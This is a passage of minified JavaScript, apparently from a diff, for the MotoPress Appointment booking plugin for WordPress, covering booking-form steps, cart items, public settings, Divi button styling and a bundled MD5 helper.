Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=" ",s+='<span class="mpa-slot-capacity">',s+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",s+="&nbsp;",s+='<span class="mpa-slot-capacity-number">'+i+"</span>",s+="</span>"}let r=ye(s,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),i++}i>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class Ge extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const i=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const i=W(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const i=W(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const i=W(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr("data-default");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(W)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(W)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(W)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ne(re(e,Object.keys(t)))}else i=null;const a=oe(e,t,i),r=this.category||"";Ce(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?"":String(this.serviceId);Ce(this.$servicesSelect,{"":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?"0":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?"0":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new Ge(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new ze(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new je(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}!function(e){function t(t,i){var s=e("#"+t);s.length?s.replaceWith(i):e("head").append(i)}wp.customize("et_divi[all_buttons_font_size]",(function(e){e.bind((function(e){t("mpa-divi-button-font-size",'<style id="mpa-divi-button-font-size">.mpa-shortcode .button{font-size:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_text_color]",(function(e){e.bind((function(e){t("mpa-divi-button-text-color",'<style id="mpa-divi-button-text-color">.mpa-shortcode .button{color:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_bg_color]",(function(e){e.bind((function(e){t("mpa-divi-button-bg-color",'<style id="mpa-divi-button-bg-color">.mpa-shortcode .button{background:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_width]",(function(e){e.bind((function(e){t("mpa-divi-button-border-width",'<style id="mpa-divi-button-border-width">.mpa-shortcode .button{border-width:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_color]",(function(e){e.bind((function(e){t("mpa-divi-button-border-color",'<style id="mpa-divi-button-border-color">.mpa-shortcode .button{border-color:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_radius]",(function(e){e.bind((function(e){t("mpa-divi-button-border-radius",'<style id="mpa-divi-button-border-radius">.mpa-shortcode .button{border-radius:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_font_style]",(function(i){i.bind((function(i){var s=function(t,i){var s=t.split("|"),a="";return e.inArray("bold",s)>=0?a+="font-weight: bold "+i+";":a+="font-weight: inherit "+i+";",e.inArray("italic",s)>=0?a+="font-style: italic "+i+";":a+="font-style: inherit "+i+";",e.inArray("underline",s)>=0?a+="text-decoration: underline "+i+";":a+="text-decoration: inherit "+i+";",e.inArray("uppercase",s)>=0?a+="text-transform: uppercase "+i+";":a+="text-transform: inherit "+i+";",a}(i,"");t("mpa-divi-button-font-style",'<style id="mpa-divi-button-font-style">.mpa-shortcode .button{'+s+"}</style>")}))})),wp.customize("et_divi[all_buttons_spacing]",(function(e){e.bind((function(e){t("mpa-divi-button-spacing",'<style id="mpa-divi-button-spacing">.mpa-shortcode .button{letter-spacing:'+e+"px;  !important}</style>")}))})),wp.customize("et_divi[all_buttons_font]",(function(e){e.bind((function(e){t("mpa-divi-button-font",'<style id="mpa-divi-button-font">.mpa-shortcode .button{font-family:'+e+", sans-serif  !important; }</style>")}))})),wp.customize("et_divi[all_buttons_text_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-text-color-hover",'<style id="mpa-divi-button-text-color-hover">.mpa-shortcode .button:hover{color:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_bg_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-bg-color-hover",'<style id="mpa-divi-button-bg-color-hover">.mpa-shortcode .button:hover,background:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_border_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-border-color-hover",'<style id="mpa-divi-button-border-color-hover">.mpa-shortcode .button:hover{border-color:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_border_radius_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-border-radius-hover",'<style id="mpa-divi-button-border-radius-hover">.mpa-shortcode .button:hover{border-radius:'+e+"px !important; }</style>")}))})),wp.customize("et_divi[all_buttons_spacing_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-spacing-hover",'<style id="mpa-divi-button-spacing-hover">.mpa-shortcode .button:hover{letter-spacing: '+e+"px !important; }</style>")}))})),e(window).on("et_fb_root_did_mount et_fb_section_content_change",(()=>{setTimeout((()=>{e(".appointment-form-shortcode").each(((t,i)=>{new Qe(e(i))}))}),200)}))}(jQuery)}(wp.date,mpaData,intlTelInput)}();
+!function(){"use strict";!function(e,t,i){function s(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a<i;a++)s[e[a]]=t[a];return s}function n(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)/s))+1;return[...Array(a).keys()].map((t=>t*i+e))}let o="/motopress/appointment/v1";function l(e,t={},i="GET"){return new Promise(((s,a)=>{wp.apiRequest({path:o+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i="parsererror";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==i&&(i="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(i))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,i="public"){if("string"==typeof t)return t;if("internal"==i)return f(t,"Y-m-d");if("public"==i)return e.format(m().settings().getDateFormat(),t);let s=(e,t=2)=>("00"+e).slice(-t),a=!1;return i.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return s(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return s(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return s(t.getHours());case"h":return s(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return s(t.getMinutes());case"s":return s(t.getSeconds());case"v":return s(t.getMilliseconds(),3);case"u":return s(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+s(u)+b+s(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var S,w,P={exports:{}},C={exports:{}};S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",w={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&w.rotl(e,8)|4278255360&w.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=w.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i<e.length;i++,s+=8)t[s>>>5]|=e[i]<<24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i<32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i<e.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],i=0;i<e.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i<e.length;i+=3)for(var s=e[i]<<16|e[i+1]<<8|e[i+2],a=0;a<4;a++)8*i+6*a<=8*e.length?t.push(S.charAt(s>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],i=0,s=0;i<e.length;s=++i%4)0!=s&&t.push((S.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)<<2*s|S.indexOf(e.charAt(i))>>>6-2*s);return t}},C.exports=w;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i<e.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i<e.length;i++)t.push(String.fromCharCode(e[i]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,i=I,s=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,P.exports=function(t,i){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var E=_(P.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return 